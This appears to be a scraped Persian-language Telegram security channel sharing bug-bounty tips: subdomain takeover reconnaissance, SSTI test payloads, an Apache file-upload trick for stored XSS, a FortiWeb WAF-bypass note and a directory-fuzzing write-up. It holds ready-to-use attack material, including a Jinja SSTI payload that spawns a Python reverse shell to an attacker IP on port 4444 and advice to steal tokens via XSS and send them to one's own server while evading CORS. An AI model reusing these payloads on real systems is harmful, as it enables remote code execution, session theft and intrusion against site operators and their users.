Dagen (security)
639 subscribers
57 photos
4 files
98 links
هر سیستمی یک نقطه ضعف دارد و هر نقطه ضعف فرصتی است برای تولد یک افسانه.

persian books channel : @persian_b_sec

Writups channel : @pocofBugs
Download Telegram
Dagen (security)
https://hackerone.com/reports/2899858 Firefox subdomain Takeover🔥
شکار CNAME‌ های یه دامنه با یه کامند ساده 🗿

subfinder -d firefox.com | dnsx -silent -cname
با جستجو توی موتور جستجوگر خفن ZoomEye، به IP اصلی وب‌سایت رسیدم.
وقتی بازش کردم، بوم! 😐 سایت یه Stack Trace گنده خورد.

سایت با Django نوشته شده بود و برنامه‌نویس، Debug Mode رو روی True گذاشته بود.
به همین خاطر به همه‌ی مسیرهای API، نام دیتابیس، نسخه‌ی فریم‌ورک و جزئیات کامل فایل‌های کانفیگ دسترسی داشتم 😎


Dork : http.body="cloud-object-storage.appdomain.cloud"&& asn="ASN number"

- @dagen_security
SSTI Test Case:

تست ساده برای ارزیابی اجرای کد
:
{{7*7}} —> 49


اجرای چندین عبارت :

{% for c in [1,2,3] %}{{c,c,c}}{% endfor %} —> (1,1,1)(2,2,2)(3,3,3)


دستیابی به کانفیک وب اپلیکشن :

{{config.items()}}


کلاس های پایه :

{{ [].class.base.subclasses() }}


دسترسی به متغیر های سمت سرور :

{{username}} {{first_name}} {{last_name}}


Automation tool : https://github.com/epinna/tplmap

- @dagen_security
ترفند XSS با آپلود فایل ...jpg وقتی Apache فریب می‌خورد!

معمولاً وقتی فایلی مثل test.jpg روی Apache httpd سرو می‌شود، هدر Content-Type: image/jpeg به صورت خودکار اضافه می‌شود.
اما اگر نام فایل فقط نقطه و پسوند باشد (مثلاً ...jpg)، ماژول mod_mime هیچ Content-Type ای ست نمی‌کند.

filename:"...jpg"


خب Apache بطور پیش‌فرض توسط mod_mime کنترل می‌شود که رفتار پیش‌فرض آن این است که برای فایل‌هایی با نام فقط شامل نقطه و پسوند (مثل ...jpg) هدر Content-Type تنظیم نکند. این فایل‌ها به راحتی از چک ساده «پسوند jpg» عبور می‌کنند اما نوع محتوا به سرور اعلام نمی‌شود.

در این حالت، اگر محتوای فایل حاوی کد HTML مخرب باشد، مرورگر به‌جای نمایش تصویر، محتوای فایل را به‌عنوان HTML رندر می‌کند.
اگر این HTML حاوی اسکریپت مخرب باشد، باعث اجرای آن و در نهایت حمله‌ی Stored XSS خواهد شد.

- @dagen_security
اگه یه XSS پیدا کردی، دیگه فقط به یه alert(1) بسنده نکن — تا تهش برو:

دیدی کوکی نیست؟ یه سر به localStorage و sessionStorage بزن.

توکن رو مستقیم نمی‌تونی برداری؟ ببین کدوم صفحه باعث می‌شه این توکن ساخته یا فرستاده بشه.

بهش درخواست بزن — اطلاعات رو بگیر و بعد بفرست به سرورت .
اگر CORS جلوی درخواست‌ها رو گرفت، نگران نباش، می‌تونی با استفاده از تگ‌هایی مثل <img>، <script> یا حتی <form> این کار رو انجام بدی.

-@Dagen_security
Dagen (security)
https://blog.slonser.info/posts/make-self-xss-great-again/
- self-xss دیگه بی ارزش نیست

توی این مقاله نویسنده بهتون تکنیک های مدرن امروزی برای بالا بردن ایمپکت self-xss رو معرفی میکنه .👀
openai
دقیقا چجوری کار میکنه . تجربه ای از بزرگترین ازمایشگاه هوش مصنوعی 👀

source : Open-AI reflections
چطور با یک فاز ساده دایرکتوری، یک باگ امنیتی ثبت کردم!

وقتی داشتم روی یکی از سایت‌ها ریکان میکردم به یک زیر دامنه با آدرس
apidev.target.com

رسیدم. چیزی که توجه من رو جلب کرد این بود که ممکنه این ساب‌دامین برای محیط توسعه (development) باشه، و احتمال وجود اطلاعات حساس در اون بیشتره.

اولین کاری که کردم، فاز دایرکتوری‌های این ساب‌دامین بود. برای این کار از ابزار ffuf استفاده کردم و یک لیست مخصوص از کلمات (wordlist) هم داشتم که خودم درست کرده بودم.

در نتیجه‌ی این اسکن، به یک مسیر جالب رسیدم:

/com/api/v1/dev_browser/configP


وقتی این مسیر رو باز کردم، به چند فیلد حساس برخوردم که مهم‌ترینش یک کلید مخفی (secret key) بود. مقدار این کلید چیزی شبیه @#!$%ED بود که به‌هیچ‌وجه قابل حدس زدن نیست.

این کلید می‌تونست نشونه‌ی یه اطلاعات حساس باشه که احتمالاً در ورود به سیستم یا تأیید هویت نقش داره.

برای اینکه ببینم این کلید واقعاً کاربردی هست یا نه، شروع کردم به جست‌وجو در منابع مختلف مثل GitHub، گوگل (با استفاده از dorking) و Wayback Machine. حتی فایل‌های جاوااسکریپت پنهان‌شده‌ی سایت مثل app.main.js رو بررسی کردم، اما اطلاعات خاصی به دست نیاوردم.

در این مرحله، دو احتمال به ذهنم رسید:

ممکنه این کلید فقط برای تست و محیط آزمایش باشه و اصلاً استفاده‌ای در دنیای واقعی نداشته باشه.

یا اینکه این کلید واقعاً مهم باشه ولی چون خوب مخفی شده، کسی متوجهش نشده.

با در نظر گرفتن احتمال دوم، تصمیم گرفتم این مورد رو به عنوان یک باگ گزارش کنم و جالب اینجاست که فقط دو روز بعد، تأیید (triage) شد! 🔥

@Dagen_security
This media is not supported in your browser
VIEW IN TELEGRAM
بای‌پسی که تقریباً 13 سال پیش برای FortiWeb کشف شد، اما این روزها به‌عنوان یک تریک "جدید" برای بای‌پس WAF شناخته میشه:

خلاصه ماجرا:
وقتی حجم داده‌ی داخل POST یا GET از حدود ۲۳۹۹ بایت بیشتر می‌شه، FortiWeb (در بعضی کانفیگ‌ها) بازرسی رو رها می‌کنه و کل درخواست رو مستقیم به اپلیکیشن می‌فرسته.

یعنی فایروال دور زده میشه و می‌تونیم XSS، SQLi یا هر نوع حمله‌ی دیگه‌ای رو تزریق کنیم؛ چون درخواست بدون بررسی به Backend ارسال میشه.


چرا این اتفاق میفته ؟

FortiWeb بررسی دقیقی روی غیرفعال بودن محدودیت سایز فرم‌ها یا max POST size نداره.

گزینه‌ی Block Malformed Requests هم فعال نیست.

این باعث میشه ساختارهای ناقص یا مشکوک (malformed) بلاک نشن و هیچ چکی روی اینکه آیا درخواست معتبر هست یا نه، انجام نشه.

چرا الان دوباره ترند شده؟


چون بایپس‌های WAF (مخصوصاً FortiWeb، Cloudflare، AWS WAF و ...) به شدت توی Bug Bounty داغ شدن.

خیلی از هکرها فکر می‌کنن این یه تریک جدیده، ولی در واقع : این همون بای‌پس کشف‌شده در سال ۲۰۱۲ توسط Geffrey Velasquez هست.

source : https://www.exploit-db.com/exploits/18840


در نظر داشته باشیم : قدیمی بودن به معنای حل شدن نیست .

@Dagen_security
ssti payload with python—> RCE
{{self._TemplateReference__context.cycler.init.globals.os.popen("python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect((\"IP\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);https://subprocess.call([\"/bin/sh\"])'").read()}}


@Dagen_security
Hands-On APIs for AI and Data Science (Ryan Day).pdf
8.8 MB
روش‌های عملی ساخت APIهای قدرتمند

book : Hands-on-api -2025

@Dagen_security
با این سایت می‌تونید رایت‌آپ‌های مربوط به باگ‌های مورد نظرتون رو بخونید، مخصوصاً اگه تازه شروع کرده باشید.

link
: https://www.bugbountyhunting.com

@Dagen_security
این ریپازیتوری گیت‌هاب یکی از کامل‌ترین چیت‌شیت‌ها برای باگ بانتیه و خوبیش اینه که به‌صورت مداوم به‌روزرسانی می‌شه👀

link : https://github.com/sulabh915/Cheatsheet_database_and_scripts

@Dagen_security